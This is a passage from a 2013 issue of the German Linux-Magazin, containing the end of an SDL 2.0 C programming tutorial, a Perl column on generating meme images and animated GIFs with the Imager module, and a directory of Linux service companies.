Mauszeigers liegen dabei in den Variablen<br />

»ereignis.motion.x« und »ereignis.<br />

motion.y«. Ein Spiel würde diese Koordinaten<br />

auswerten und prüfen, welches<br />

Spielobjekt darunterliegt.<br />

Das Ereignis »SDL_QUIT« löst der Anwender<br />

aus, wenn er das Programm schließt.<br />

Neben diesen drei vorgestellten kennt die<br />

SDL noch viele weitere Ereignisse [4].<br />

Lässt der Anwender beispielsweise eine<br />

Taste los, erzeugt das ein »SDL_KEYUP«-<br />

Ereignis.<br />

Runden drehen<br />

Im Unterschied zur SDL 1.2 legt »SDL_<br />

WaitEvent()« die Anwendung beziehungsweise<br />

den Prozess nicht mehr<br />

Listing 2: Ein Fenster öffnen, Bild und Textur laden und Tastendrücke registrieren<br />

01 #include <br />

02 #include "SDL2/SDL.h"<br />

03 <br />

04 int main(int argc, char** argv){<br />

05 <br />

06 // SDL initialisieren:<br />

07 if (SDL_Init(SDL_INIT_EVERYTHING) != 0){<br />

08 printf("Fehler: %s \n", SDL_GetError());<br />

09 return 1;<br />

10 }<br />

11 <br />

12 // Fenster öffnen:<br />

13 SDL_Window *fenster = SDL_CreateWindow("Hallo Welt!", 250, 300, 640,<br />

480, SDL_WINDOW_SHOWN);<br />

14 <br />

15 // Renderer erstellen:<br />

16 SDL_Renderer *renderer = SDL_CreateRenderer(fenster, ‐1,<br />

SDL_RENDERER_ACCELERATED | SDL_RENDERER_PRESENTVSYNC);<br />

17 <br />

18 // Zeichenfarbe auf Schwarz setzen und dann Fenster leeren:<br />

19 SDL_SetRenderDrawColor(renderer, 235, 235, 235, 255);<br />

20 SDL_RenderClear(renderer);<br />

21 <br />

22 // Bild laden:<br />

23 SDL_Surface *bild = SDL_LoadBMP("logo.bmp");<br />

24 <br />

25 // Textur erzeugen und Surface löschen:<br />

26 SDL_Texture *textur = SDL_CreateTextureFromSurface(renderer, bild);<br />

27 SDL_FreeSurface(bild);<br />

28 <br />

29 // Größe und Position des Bildes im Fenster festlegen:<br />

30 SDL_Rect pos;<br />

31 pos.x = 150;<br />

32 pos.y = 100;<br />

33 SDL_QueryTexture(textur, NULL, NULL, &pos.w, &pos.h);<br />

34 <br />

35 // Textur in das Fenster kleben:<br />

36 SDL_RenderCopy(renderer, textur, NULL, &pos);<br />

37 <br />

38 // Anzeigen:<br />

39 SDL_RenderPresent(renderer);<br />

40 <br />

41 // Warte auf Tastendruck oder Mausklick:<br />

42 SDL_Event ereignis;<br />

43 int quit=1;<br />

44 while(quit) {<br />

45 SDL_WaitEvent(&ereignis);<br />

46 switch(ereignis.type) {<br />

47 case SDL_QUIT:<br />

48 printf("Fenster geschlossen\n");<br />

49 quit=0;<br />

50 break;<br />

51 case SDL_KEYDOWN:<br />

52 printf("Tastendruck\n");<br />

53 printf("Physische Taste %s als Taste %s gedrückt\n",<br />

54 SDL_GetScancodeName(ereignis.key.keysym.scancode),<br />

55 SDL_GetKeyName(ereignis.key.keysym.sym));<br />

56 quit=0;<br />

57 break;<br />

58 case SDL_MOUSEBUTTONDOWN:<br />

59 printf("Linke Maustaste gedrückt an\n");<br />

60 printf("Position: (%d, %d)\n", ereignis.motion.x,<br />

ereignis.motion.y);<br />

61 quit=0;<br />

62 break;<br />

63 }<br />

64 }<br />

65 <br />

66 SDL_DestroyTexture(textur);<br />

67 SDL_DestroyRenderer(renderer);<br />

68 SDL_DestroyWindow(fenster);<br />

69 SDL_Quit();<br />

70 <br />

71 return 0;<br />

72 }


Abbildung 5: Im unteren Beispiel hat der Anwender<br />

die physische Taste [;] gedrückt, die auf seiner<br />

deutschen Tastatur aber mit dem [ö] belegt ist.<br />

Der Programmierer sollte möglichst den virtuellen<br />

Keycode auswerten.<br />

schlafen. Stattdessen durchläuft »SDL_<br />

WaitEvent()« intern einfach so lange eine<br />

Schleife, bis ein Ereignis auftritt. Die Entwickler<br />

haben jedoch schon angedroht,<br />

dass sich dieses Verhalten in Zukunft<br />

noch einmal ändern kann.<br />

Endreinigung<br />

Zum Schluss gilt es, noch etwas aufzuräumen.<br />

So sollte der Entwickler den<br />

von der Textur belegten Speicher wieder<br />

freigeben, den Renderer und das Fenster<br />

zerstören sowie die SDL noch einmal<br />

feucht durchwischen lassen:<br />

Die Entwickler empfehlen daher, möglichst<br />

die Kommentare in den Headerdateien<br />

als Referenz zu nutzen.<br />

Umsteiger von der alten Version 1.2<br />

sollten zudem unbedingt den Migration<br />

Guide lesen [6]. Ein gut gemachtes Tutorial<br />

für C++-Entwickler findet sich nur<br />

auf Github [7]. Alle anderen Anleitungen<br />

im Internet bezogen sich zum Redaktionsschluss<br />

noch auf die alte SDL 1.2.<br />

Fazit<br />

Die SDL 2.0 vereinfacht das Programmieren<br />

plattformunabhängiger Multimedia-Anwendungen<br />

enorm. Listing 2<br />

läuft unverändert auf allen unterstützten<br />

Systemen. Die neuen Funktionen, etwa<br />

die Unterstützung von mehreren Fenstern<br />

sowie die Grafikbeschleunigung, waren<br />

überfällig und machen Hacks aus der<br />

Vergangenheit überflüssig.<br />

Wie der Begriff Simple im Namen andeutet,<br />

ist die SDL jedoch auch weiterhin eine<br />

Low-Level-Bibliothek. Sie soll primär den<br />

Hardwarezugriff auf mehreren Plattformen<br />

vereinfachen und vereinheitlichen.<br />

Selbst die einfachen Zeichenfunktionen<br />

für Rechtecke und Kreise haben die Entwickler<br />

erst nach (vielfachen) Anwenderwünschen<br />

in die neue Version aufgenommen.<br />

Wer schnell zu Ergebnissen<br />

kommen möchte oder Prototypen baut,<br />

muss daher auf Spiele- oder 3-D-Engines<br />

wie Py Game, Unity oder Ogre 3D ausweichen.<br />

Die Entwickler haben einige<br />

ursprünglich für SDL 2.0 geplante Funktionen<br />

auf spätere Versionen verschoben.<br />

Das API soll jedoch vorerst stabil bleiben,<br />

erst für die Version 2.1 sind hier wieder<br />

Änderungen im Gespräch.<br />

Schwerer wiegt, dass die Version 2.0.0<br />

noch ein paar kleinere Fehler aufweist<br />

[8]. Trotzdem kommt die SDL 2.0 bereits<br />

in einigen Programmen zum Einsatz und<br />

läuft dort stabil. Wer mit der SDL Anwendungen<br />

entwickeln möchte, sollte jetzt<br />

nicht mehr auf die alte SDL 1.2 setzen<br />

– ihrer Nachfolgerin gehört eindeutig die<br />

Zukunft. (mhu)<br />

n<br />

Infos<br />

[1] SDL: [http:// www. libsdl. org]<br />

[2] Sprachanbindungen:<br />

[http:// www. libsdl. org/ languages. php]<br />

[3] Offizielle Hilfsbibliotheken:<br />

[http:// hg. libsdl. org/]<br />

[4] Liste mit Ereignissen: [http:// wiki. libsdl.​<br />

org/ SDL_EventType? highlight=%28\<br />

bCategoryEnum\b%29|%28CategoryEvent<br />

s%29|%28SGEnumerations%29]<br />

[5] Offizielles SDL-Wiki:<br />

[http:// wiki. libsdl. org/ FrontPage]<br />

[6] Migration Guide:<br />

[http:// wiki. libsdl. org/ MigrationGuide]<br />

[7] C++-Tutorial:<br />

[http:// twinklebear. github. io/ pages/ sdl2/]<br />

[8] Bugtracker: [https:// bugzilla. libsdl. org/​<br />

describecomponents. cgi? product=SDL]<br />

SDL 2.0 11/2013<br />

Programmieren<br />

www.linux-magazin.de<br />

99<br />

SDL_DestroyTexture(textur);<br />

SDL_DestroyRenderer(renderer);<br />

SDL_DestroyWindow(fenster);<br />

SDL_Quit();<br />

Das damit komplette Programm zeigt<br />

noch einmal Listing 2. Um die Übersichtlichkeit<br />

zu erhöhen, fängt es nur bei der<br />

Initialisierung einen Fehler ab. Übersetzt<br />

ist es schnell via:<br />

gcc ‐Wall ‐o hallowelt hallowelt.c ‐lSDL2<br />

Die Anwendung aus Listing 2 demonstriert<br />

nur einen kleinen Teil der Möglichkeiten,<br />

die die SDL bietet. Eine komplette<br />

Beschreibung des Funktionsumfangs<br />

würde ein ganzes Buch füllen. Leider ist<br />

gerade die Dokumentation ein Stiefkind<br />

der Entwickler. So bietet das offizielle<br />

SDL-Wiki (Abbildung 6) derzeit nur eine<br />

unvollständige Funktionsreferenz [5].<br />

Abbildung 6: Die SDL-Entwickler suchen derzeit händeringend nach Freiwilligen, die das Wiki aktualisieren.


Programmieren<br />

www.linux-magazin.de Perl-Snapshot 11/2013<br />

100<br />

Nicht nur für die Katz: Perl-maschinell erzeugte Memes<br />

Catwalk Orange<br />

Was harmlos mit ein paar sonderbaren Katzenbildern begann, ist zu dem Internetphänomen schlechthin angeschwollen:<br />

Memes, mit Witztexten versehene Fotos, und animierte Gag-Gifs. Kein Witz: Mit Perl lassen die sich<br />

prima selbst bauen und individuell gestalten. Michael Schilli<br />

© FreyaSapphire, photocase.com<br />

liest die Originaldatei »turtle.jpg« ein, das<br />

von mir persönlich auf Hawaii geschossene<br />

Urlaubsfoto von einer schwimmenden<br />

Riesenschildkröte.<br />

Den Font Impact fand ich in meiner<br />

Ubuntu-Distribution als ».ttf«-Datei unter<br />

dem in Listing 1 (Zeilen 10 und 11)<br />

angegebenen Pfad. Zweimal die Methode<br />

»string()« aufgerufen, einmal mit der<br />

Fuß- und einmal mit der Kopfzeile, die<br />

Farbe mit »white« und die Fontgröße auf<br />

60 angegeben, Anti-Aliasing für schwachbrüstige<br />

Displays eingeschaltet und die<br />

Ausgabedatei mit »write()« geschrieben –<br />

fertig ist der Spitzenwitz (Abbildung 1).<br />

Variabler Komfort<br />

Sommerzeit, Praktikantenzeit: Wie immer<br />

über die Sommermonate beschäftigt<br />

mein Arbeitgeber Collegestudenten, und<br />

wir Altgediegenen kratzen uns die kahler<br />

werdenden Schädel ob des sonderbaren<br />

akademischen Nachwuchses. Besonders<br />

erstaunte in diesem Jahr der praktizierte<br />

Praktikantenhumor: Jede Präsentation<br />

zieren so genannte Image Macros [2]<br />

zum Zwecke der Erheiterung, entweder<br />

als statische Fotos oder als per Endlosschleife<br />

animierte Gifs.<br />

Was als „I Can Has Cheezburger“ [3] mit<br />

knuddeligen Kätzchen – den so genannten<br />

Lolcats – und kessen Sprüchen begann,<br />

ist heute als „Meme“ fester Bestandteil<br />

der netzweiten Humorkultur. Man nehme<br />

ein ausdrucksstarkes Bild und lege einen<br />

Online PLUS<br />

In einem Screencast demonstriert<br />

Michael Schilli das Beispiel: [http://​<br />

www.linux-magazin.de/​plus/​2013/11]<br />

orthografisch oder grammatikalisch jenseitigen<br />

Spruch (Lolspeak) als Kopf- und<br />

Fußzeile im Font Impact darüber – und<br />

fertig ist der Witz (Abbildung 2).<br />

Meme oder Mem kommt aus dem Griechischen,<br />

„mimema“ meint dort etwas<br />

Imitiertes, und die evolutionäre Biologie<br />

beschreibt damit den Vorgang der sozialen<br />

Weitergabe kultureller Werte. Im<br />

Internet schließlich sind Memes ein sich<br />

per Mail, Chat oder soziale Netze virenartig<br />

verbreitendes Massenphänomen<br />

(Abbildung 3).<br />

Maschinell statt manuell<br />

Mit einem Grafikprogramm wie Gimp<br />

sind Image Macros auf konventionelle<br />

Weise recht schnell angefertigt, aber mit<br />

einem Perl-Skript geht es sogar von der<br />

Kommandozeile aus. Listing 1 zeigt die<br />

einfachste Version, die nur vorher ausgemessene<br />

Koordinaten für die Textstrings<br />

hart verdrahtet. Das CPAN-Modul Imager<br />

Für variable Textstrings muss das Skript<br />

diese dynamisch in der Mitte positionieren.<br />

Listing 2 nimmt drei Parameter<br />

entgegen – das zu modifizierende Bild,<br />

die Kopf- und die Fußzeile – und macht<br />

daraus ein Image Macro. Der Aufruf<br />

meme‐simple turtle.jpg "ARRIVING FIRST"U<br />

"SO NOT WORTH IT."<br />

erzeugt die Datei »turtle‐meme.jpg«.<br />

Hierzu definiert das Skript einen vertika-<br />

Abbildung 1: Auf der Kommandozeile per<br />

»meme‐first« erzeugter Zeitgeist-Witz.


len Abstand »$margin_y« von der Bildoberkante<br />

zur Kopfzeile respektive von<br />

der Bildunterkante zur Fußzeile. Die ab<br />

Zeile 56 definierte Funktion »dimensions«<br />

errechnet Breite und Höhe des mit<br />

dem Impact-Font der Größe 60 erzeugten<br />

Strings. Hierzu benutzt es die Methode<br />

»bounding_box()« eines Objekts vom Typ<br />

Imager::Font und übergibt ihm den gewünschten<br />

String.<br />

Zurück kommen Breite und Höhe in Pixeln,<br />

nachdem die Funktion die unter<br />

Umständen negative Koordinate des linken<br />

Rands des ersten Glyphen im String<br />

(»$neg_width«) von der Position am<br />

rechten Ende des Strings (»$pos_width)«<br />

subtrahiert hat. Analog verfährt sie mit<br />

der Position am oberen (»$asc«) beziehungsweise<br />

unteren (»desc«) Rand des<br />

Strings. Die Werte »$global_asc« und<br />

»$global_desc« spielen keine Rolle, da<br />

sie sich nicht auf den aktuellen String,<br />

sondern auf maximal mögliche Ausmaße<br />

beliebiger Glyphen beziehen.<br />

Die Zeilen 33 und 36 zentrieren dann<br />

Fuß- und Kopfzeile jeweils in der Mitte<br />

des Fotos, indem sie die mit »getwidth()«<br />

geholte Gesamtbreite des Fotos halbieren<br />

und die Hälfte der Stringbreite davon<br />

subtrahieren. Heraus kommt jeweils die<br />

erforderliche Anfangskoordinate des zentrierten<br />

Strings als xy-Wertepaar, x läuft<br />

dabei von links nach rechts im Bild, y<br />

von oben nach unten.<br />

Abbildung 2: Klassiker der Moderne – eine Lolcat<br />

mit orthografisch bedenklichem Lolspeak.<br />

Listing 1: »meme‐first«<br />

01 #!/usr/local/bin/perl ‐w<br />

02 use strict;<br />

03 use Imager;<br />

04<br />

05 my $img = Imager‐>new(<br />

06 file => "turtle.jpg" ) or<br />

07 die Imager‐>errstr();<br />

08<br />

09 my $font = Imager::Font‐>new( file =><br />

10 "/usr/share/fonts/truetype" .<br />

11 "/msttcorefonts/Impact.ttf" );<br />

© Niccolò Capanti<br />

© Sarah Charlesworth<br />

Abbildung 3: Knorpelfisch mit Haus – typisches<br />

Beispiel eines Image-Macro-Mem.<br />

12<br />

13 $img‐>string( x => 337, y => 102,<br />

14 string => "ARRIVING FIRST",<br />

15 font => $font, size => 60,<br />

16 aa => 1, color => 'white' );<br />

17<br />

18 $img‐>string( x => 315, y => 600,<br />

19 string => "SO NOT WORTH IT.",<br />

20 font => $font, size => 60,<br />

21 aa => 1, color => 'white' );<br />

22<br />

23 $img‐>write( file => "turtle‐meme.jpg" );<br />

Perl-Snapshot 11/2013<br />

Programmieren<br />

www.linux-magazin.de<br />

101<br />

Listing 2: »meme‐simple«<br />

01 #!/usr/local/bin/perl ‐w<br />

02 use strict;<br />

03 use Imager;<br />

04<br />

05 my $margin_y = 100;<br />

06 my $font_size = 60;<br />

07 my $font_color = "white";<br />

08<br />

09 my( $file, $header, $footer ) = @ARGV;<br />

10<br />

11 die "usage: file header footer"<br />

12 if scalar @ARGV != 3;<br />

13<br />

14 my $img = Imager‐>new(<br />

15 file => $file ) or<br />

16 die Imager‐>errstr();<br />

17<br />

18 my $font = Imager::Font‐>new(<br />

19 file =><br />

20 "/usr/share/fonts/truetype/" .<br />

21 "msttcorefonts/Impact.ttf",<br />

22 size => $font_size,<br />

23 color => $font_color,<br />

24 );<br />

25<br />

26 my( $header_w, $header_h ) =<br />

27 dimensions( $font, $header );<br />

28<br />

29 my( $footer_w, $footer_h ) =<br />

30 dimensions( $font, $footer );<br />

31<br />

32 my $footer_x =<br />

33 ( $img‐>getwidth() ‐ $footer_w ) / 2;<br />

34<br />

35 my $header_x =<br />

36 ( $img‐>getwidth() ‐ $header_w ) / 2;<br />

37<br />

38 $img‐>string(<br />

39 x => $header_x, y => $margin_y,<br />

40 string => $header,<br />

41 font => $font, size => $font_size,<br />

42 aa => 1, color => $font_color );<br />

43<br />

44 $img‐>string(<br />

45 x => $footer_x,<br />

46 y => $img‐>getheight() ‐<br />

47 $margin_y + $footer_h,<br />

48 string => $footer,<br />

49 font => $font, size => $font_size,<br />

50 aa => 1, color => $font_color );<br />

51<br />

52 ( my $outfile = $file ) =~ s/\./‐meme./;<br />

53 $img‐>write( file => $outfile );<br />

54<br />

55 ###########################################<br />

56 sub dimensions {<br />

57 ###########################################<br />

58 my( $font, $string ) = @_;<br />

59<br />

60 my( $neg_width, $global_desc,<br />

61 $pos_width, $global_asc,<br />

62 $desc, $asc,<br />

63 ) = $font‐>bounding_box(<br />

64 string => $string );<br />

65<br />

66 return $pos_width ‐ $neg_width,<br />

67 $asc ‐ $desc;<br />

68 }


Programmieren<br />

www.linux-magazin.de Perl-Snapshot 11/2013<br />

102<br />

Abbildung 4: Aus dem Video lassen sich Frames mit dem Betrachterprogramm Eye of Gnome kopieren und als PNG-Bilder speichern.<br />

Wie in Listing 1 fügt in Listing 2 die<br />

Methode »string()« nun die beiden Textstrings<br />

im vorgegebenen Font in das Bild<br />

ein und die Methode »write()« schreibt<br />

das Ergebnis in eine um »‐meme« am<br />

Ende erweiterte Datei auf die Festplatte.<br />

Laufend witzig<br />

Noch lustiger wird’s mit animierten Kurzfilmchen.<br />

Ein animiertes Gif-Bild lädt der<br />

Browser in einem Rutsch vom Server und<br />

spielt die darin enthaltenen Frames bis<br />

zum Sankt-Nimmerleins-Tag ab, falls im<br />

Bild das Endlos-Flag gesetzt ist. Dieses<br />

Verfahren stammt aus dem Jahr 1987 und<br />

erfreut sich HTML 5 zum Trotz bis heute<br />

großer Beliebtheit, zumal es auch in Uraltbrowsern<br />

funktioniert. Die tonlosen Videosequenzen<br />

lassen sich problemlos in<br />

HTML einbetten, Wikipedia-Seiten etwa<br />

visualisieren damit Algorithmen oder das<br />

Zusammenspiel der beweglichen Teile<br />

mechanischer Apparaturen.<br />

Komiker unter den Softwa re-Entwicklern<br />

fügen Gifs in Powerpoint-Präsentationen<br />

und Kommentarfelder zu Pull-Requests<br />

auf Github ein. Die oft ruckelnden<br />

Frames erinnern an Slapstick-Szenen aus<br />

der Frühzeit des Kinos oder an tollpatschiges<br />

„Verstehen Sie Spaß?“-Material.<br />

01 #!/usr/local/bin/perl ‐w<br />

02 use strict;<br />

03 use Imager;<br />

04<br />

05 my @imgs = ();<br />

06<br />

07 for my $file_name ( @ARGV ) {<br />

08<br />

09 my $img = Imager‐>new( file => $file_name );<br />

10<br />

Listing 3: »anigif«<br />

Übrigens ist der seit Jahrzehnten schwelende<br />

Streit, ob man Gif wie „Giff“ oder<br />

„Tschiff“ ausspricht, bis heute ungeklärt.<br />

Nur die Front zwischen den Rechthabern<br />

hat sich verhärtet [4].<br />

Einzelne Frames strategisch aus einer<br />

Videodatei extrahieren, dafür eignet sich<br />

der Mplayer aufgerufen mit:<br />

mplayer ‐vf screenshot video.avi<br />

Während das Video läuft, drückt der User<br />

immer dann die Taste [S], wenn er den<br />

nächsten angezeigten Frame als PNG-<br />

Datei sichern will. Am Ende liegen im aktuellen<br />

Verzeichnis von »shot0000.png«<br />

bis »shotXXXX.png« durchnummerierte<br />

Dateien mit den geschossenen Frames<br />

(Abbildung 4).<br />

Damit die Gif-Datei nicht zu groß wird,<br />

sollte bei etwa 20 Frames insgesamt<br />

Schluss sein. Außerdem erfordern Szenen<br />

mit viel Bewegung eine schnellere<br />

Abfolge der Frames, damit der Betrachter<br />

mitkommt. Dazu hämmert man während<br />

der schnellen Szenen einfach doppelt so<br />

häufig auf [S] als sonst.<br />

Motiv: Schadenfreude<br />

Als Demo dient mir ein aus meinem Hotelzimmer<br />

an der Strandpromenade von<br />

11 $img = $img‐>scale( xpixels => 300,<br />

12 ypixels => 200 );<br />

13 push @imgs, $img;<br />

14 }<br />

15<br />

16 Imager‐>write_multi( {<br />

17 file => "anim.gif",<br />

18 type => 'gif',<br />

19 gif_loop => 0,<br />

20 make_colors => "mediancut" }, @imgs) or<br />

21 die Imager‐>errstr();<br />

Venice Beach nahe Los Angeles heraus<br />

gefilmte Szene [5]. Darin versucht ein<br />

Tourist verzweifelt, einen störrischen<br />

Segway-Roller zum Vermieter zurückzuschleppen.<br />

Schadenfreude ist bekanntlich<br />

die schönste Freude.<br />

Nach einem langen Drehtag zurück baut<br />

Listing 3 die Einzelframes mit Hilfe des<br />

Imager-Moduls zu einem animierten Gif-<br />

Filmchen zusammen:<br />

anigif shot*.png<br />

Die For-Schleife in Zeile 7 iteriert über<br />

alle auf der Kommandozeile hereingereichten<br />

Dateinamen. Mit der in Zeile 11<br />

gewählten Animationsgröße von 300 mal<br />

200 Pixeln und 26 verwendeten Frames<br />

erreicht das animierte Gif-Bild »anim.gif«<br />

rund 1 MByte.<br />

Die Methode »write_multi()« schreibt<br />

die vorher mit »new()« eingelesenen<br />

Frames als Gif-Datei auf die Festplatte.<br />

Die notwendigen Konvertierungen der<br />

Infos<br />

[1] Listings zu diesem Artikel:<br />

[ftp:// www. linux‐magazin. de/ pub/ listings/​<br />

magazin/ 2013/ 11/ Perl]<br />

[2] Begriff Image Macro:<br />

[http:// en. wikipedia. org/ wiki/ Image_macro]<br />

[3] „I Can Has Cheezburger“:<br />

[http:// en. wikipedia. org/ wiki/ I_Can_Has_<br />

Cheezburger]<br />

[4] „Battle Over ’GIF’ Pronunciation Erupts“,<br />

New York Times:<br />

[http:// bits. blogs. nytimes. com/ 2013/ 05/​<br />

23/ battle‐over‐gif‐pronunciation‐erupts/]<br />

[5] Michael Schilli, „Segway FAIL“ (Video):<br />

[http:// www. youtube. com/ watch?<br />

v=8_EbnF9xl‐g]<br />

[6] Animiertes Gif des „Segway FAIL“-Videos:<br />

[http:// perlmeister. com/ anim. gif]


Bildformate erfolgen automatisch hinter<br />

den Kulissen. Die Option »make_colors«<br />

mittelt mit »mediancut« die Farbtabelle<br />

zwischen den Frames und sorgt damit<br />

für schnellere Konvertierung. Wichtig ist<br />

es zudem, die Option »gif_loop« auf den<br />

Wert 0 zu setzen, was den Browser dazu<br />

veranlasst, die Sequenz nach dem Laden<br />

des Bildes immer und immer wieder abzuspulen<br />

(Abbildung 5).<br />

Zwecks Perfektionierung will ich alle<br />

Screenshots des Gif-Filmchens noch mit<br />

Abbildung 5: Das Gif läuft im Browser<br />

nun in einer Endlosschleife.<br />

einer lustigen Kopfzeile versehen, den<br />

Footer lasse ich leer. Dabei kommt das<br />

Skript aus Listing 1 erneut zu Ehren:<br />

for i in *.png<br />

do<br />

meme‐simple $i "SEGWAY FAIL" ""<br />

done<br />

Das abschließende Kommando »anigif<br />

shot*‐meme.png« liest alle Dateien mit<br />

der Endung »‐meme.png« ein und erzeugt<br />

das animierte Gif. Abbildung 6 zeigt ein<br />

Szenenbild des Meisterwerks.<br />

Über dem<br />

gesamten Filmchen<br />

thront 100 Pixel unterhalb<br />

des oberen<br />

Bildran ds bewegungslos<br />

die Überschrift mit<br />

dem Titel, da der<br />

String identisch in jeden<br />

einzelnen Frame<br />

eingebaut ist. Sie ist<br />

weiß und im Impact-<br />

Abbildung 6: Das animierte Gif erhält<br />

in allen Frames eine Kopfzeile.<br />

Witze-Font. Wer möchte, kann sich unter<br />

[6] das animierte Bild ansehen.<br />

Laufend Kopfarbeit<br />

Am Schneidetisch des Internethumors<br />

sitzend sinniere ich über weitere Gestaltungsmöglichkeiten:<br />

Sollte ich Witze<br />

automatisch aus Zufallstexten stanzen?<br />

Vielleicht mit Zitaten aus dem Kinofilm-<br />

Portal IMDB? Meine Praktikanten nächsten<br />

Sommer würden staunen. (jk) n<br />

Der Autor<br />

Michael Schilli arbeitet<br />

als Software-Engineer bei<br />

Yahoo in Sunnyvale, Kalifornien.<br />

In seiner seit 1997<br />

laufenden Kolumne forscht<br />

er jeden Monat nach praktischen<br />

Anwendungen der Skriptsprache Perl.<br />

Unter [mschilli@perlmeister. com] beantwortet<br />

er gerne Fragen.<br />

Perl-Snapshot 11/2013<br />

Programmieren<br />

www.linux-magazin.de<br />

103


Service<br />

www.linux-magazin.de IT-Profimarkt 11/2013<br />

106<br />

PROFI<br />

MARKT<br />

Sie fragen sich, wo Sie maßgeschneiderte<br />

<strong>Linux</strong>-Systeme und kompetente<br />

Ansprechpartner zu Open-Source-Themen<br />

finden? Der IT-Profimarkt weist Ihnen<br />

als zuverlässiges Nachschlagewerk<br />

den Weg. Die hier gelisteten Unternehmen<br />

beschäftigen Experten auf ihrem<br />

Gebiet und bieten hochwertige Produkte<br />

und Leistungen.<br />

Die exakten Angebote jeder Firma entnehmen<br />

Sie deren Homepage. Der ersten<br />

Orientierung dienen die Kategorien<br />

Hardware, Software, Seminaranbieter,<br />

Systemhaus, Netzwerk/TK und Schulung/Beratung.<br />

Der IT-Profimarkt-Eintrag<br />

ist ein Service von <strong>Linux</strong>-<strong>Magazin</strong><br />

und <strong>Linux</strong>User.<br />

Online-Suche<br />

Besonders bequem finden Sie einen<br />

<strong>Linux</strong>-Anbieter in Ihrer Nähe über die<br />

neue Online-Umkreis-Suche unter:<br />

[http://www.it-profimarkt.de]<br />

Informationen<br />

fordern Sie bitte an bei:<br />

Medialinx AG<br />

Anzeigenabteilung<br />

Putzbrunner Str. 71<br />

D-81739 München<br />

Tel.: +49 (0)89/99 34 11-23<br />

Fax: +49 (0)89/99 34 11-99<br />

E-Mail: anzeigen@linux-magazin.de<br />

IT-Profimarkt – Liste sortiert nach Postleitzahl<br />

1 = Hardware 2 = Netzwerk/TK 3 = Systemhaus<br />

4= Fachliteratur 4= Seminaranbieter 5 = Software 5 = Software 6 = Schulung/Beratung 6 = Firma Anschrift Telefon <strong>Web</strong> 1 2 3 4 5 6<br />

Schlittermann internet & unix support 01099 Dresden, Tannenstr. 2 0351-80 29 98-1 www.schlittermann.de √ √ √ √<br />

imunixx GmbH UNIX consultants<br />

01468 Moritzburg,<br />

Heinrich-Heine-Str. 4<br />

0351-8 39 75-0 www.imunixx.de √ √ √ √ √<br />

Heinlein Support GmbH 10119 Berlin, Schwedter Straße 8/​9b 030-40 50 51-0 www.heinlein-support.de √ √ √ √ √<br />

TUXMAN Computer 10369 Berlin, Anton-Saefkow-Platz 8 030-97 60 97 73 www.tuxman.de √ √ √ √ √<br />

Compaso GmbH 10439 Berlin, Driesener Strasse 23 030-3 26 93 30 www.compaso.de √ √ √ √ √<br />

elego Software Solutions GmbH 13355 Berlin, Gustav-Meyer-Allee 25 030-2 34 58 69-6 www.elegosoft.com √ √ √ √<br />

verion GmbH 16244 Altenhof, Unter den Buchen 22 e 033363-46 10-0 www.verion.de √ √ √<br />

Logic Way GmbH 19061 Schwerin, Hagenower Str. 73 0385-3 99 34-48 www.logicway.de √ √ √ √<br />

Sybuca GmbH 20459 Hamburg, Herrengraben 26 040-27 86 31 90 www.sybuca.de √ √ √ √ √<br />

iTechnology GmbH 22083 Hamburg, Osterbekstrasse 90b 040-69 64 37 20 www.itechnology.de √ √ √ √<br />

JEL Ingenieurbuero 23911 Einhaus, Hauptstr. 7 04541-89 11-71 www.jeltimer.de √<br />

beitco - Behrens IT-Consulting 26197 Ahlhorn, Lessingstr. 27 04435-953 73 30-0 www.beitco.de √ √ √ √ √<br />

talicom GmbH<br />

30169 Hannover,<br />

Calenberger Esplanade 3<br />

0511-12 35 99-0 www.talicom.de √ √ √ √ √<br />

teuto.net Netzdienste GmbH 33602 Bielefeld, Niedenstr. 26 0521-9 66 86-0 www.teuto.net √ √ √ √ √<br />

MarcanT GmbH 33602 Bielefeld, Ravensberger Str. 10 G 0521-9 59 45-0 www.marcant.net √ √ √ √ √ √<br />

LINET Services GmbH 38118 Braunschweig, Cyriaksring 10a 0531-18 05 08-0 www.linet-services.de √ √ √ √ √ √<br />

OpenIT GmbH 40599 Düsseldorf, In der Steele 33a-41 0211-23 95 77-0 www.OpenIT.de √ √ √ √ √<br />

<strong>Linux</strong>-Systeme GmbH 45277 Essen, Langenbergerstr. 179 0201-29 88 30 www.linux-systeme.de √ √ √ √ √<br />

<strong>Linux</strong>hotel GmbH 45279 Essen, Antonienallee 1 0201-85 36-600 www.linuxhotel.de √<br />

OpenSource Training Ralf Spenneberg 48565 Steinfurt, Am Bahnhof 3-5 02552-63 87 55 www.opensource-training.de √<br />

Intevation GmbH 49074 Osnabrück, Neuer Graben 17 0541-3 35 08-30 osnabrueck.intevation.de √ √ √ √<br />

Sigs Datacom GmbH 53842 Troisdorf, Lindlaustraße 2c 02241-23 41-201 sigs-datacom.de √<br />

uib gmbh 55118 Mainz, Bonifaziusplatz 1b 06131-2 75 61-0 www.uib.de √ √ √ √<br />

LISA GmbH 55411 Bingen, Elisenhöhe 47 06721-4 99 60 www.lisa-gmbh.de √ √ √ √ √<br />

GONICUS GmbH 59755 Arnsberg, Moehnestr. 55 02932-91 60 www.gonicus.com √ √ √ √ √<br />

saveIP GmbH 64283 Darmstadt, Schleiermacherstr. 23 06151-66 62 66 www.saveip.de √ √ √ √ √<br />

LAMARC EDV-Schulungen und<br />

Beratung GmbH<br />

65193 Wiesbaden,<br />

Sonnenberger Straße 14<br />

0611-26 00 23 www.lamarc.com √ √ √ √<br />

<strong>Linux</strong>Haus Stuttgart 70565 Stuttgart, Hessenwiesenstrasse 10 0711-2 85 19 05 www.linuxhaus.de √ √ √ √ √<br />

Manfred Heubach EDV und<br />

Kommunikation<br />

73728 Esslingen, Hindenburgstr. 47 0711-4 90 49 30 www.heubach-edv.de √ √ √ √<br />

IT-Profimarkt listet ausschließlich Unternehmen, die Leistungen rund um <strong>Linux</strong> bieten. Alle Angaben ohne Gewähr. <br />

(S.108)


Seminare/Markt<br />

IT-Onlinetrainings<br />

MEDIALINX<br />

Mit Experten lernen. IT-ACADEMY<br />

IT-Sicherheit Grundlagen<br />

mit Prof. Dr.<br />

Tobias Eggendorfer,<br />

Hochschule<br />

Ravensburg-Weingarten<br />

299 €<br />

DiD you<br />

know?<br />

X25<br />

www.medialinx-academy.de<br />

1-9-Anzeige-IT-Sicherheit-Grundlagen.indd 1<br />

02.08.2013 11:52:51 Uhr<br />

IT-Onlinetrainings<br />

Mit Experten lernen.<br />

MEDIALINX<br />

IT-ACADEMY<br />

Einfache IMAP-Server<br />

mit Dovecot<br />

mit Peer Heinlein,<br />

Heinlein Support GmbH<br />

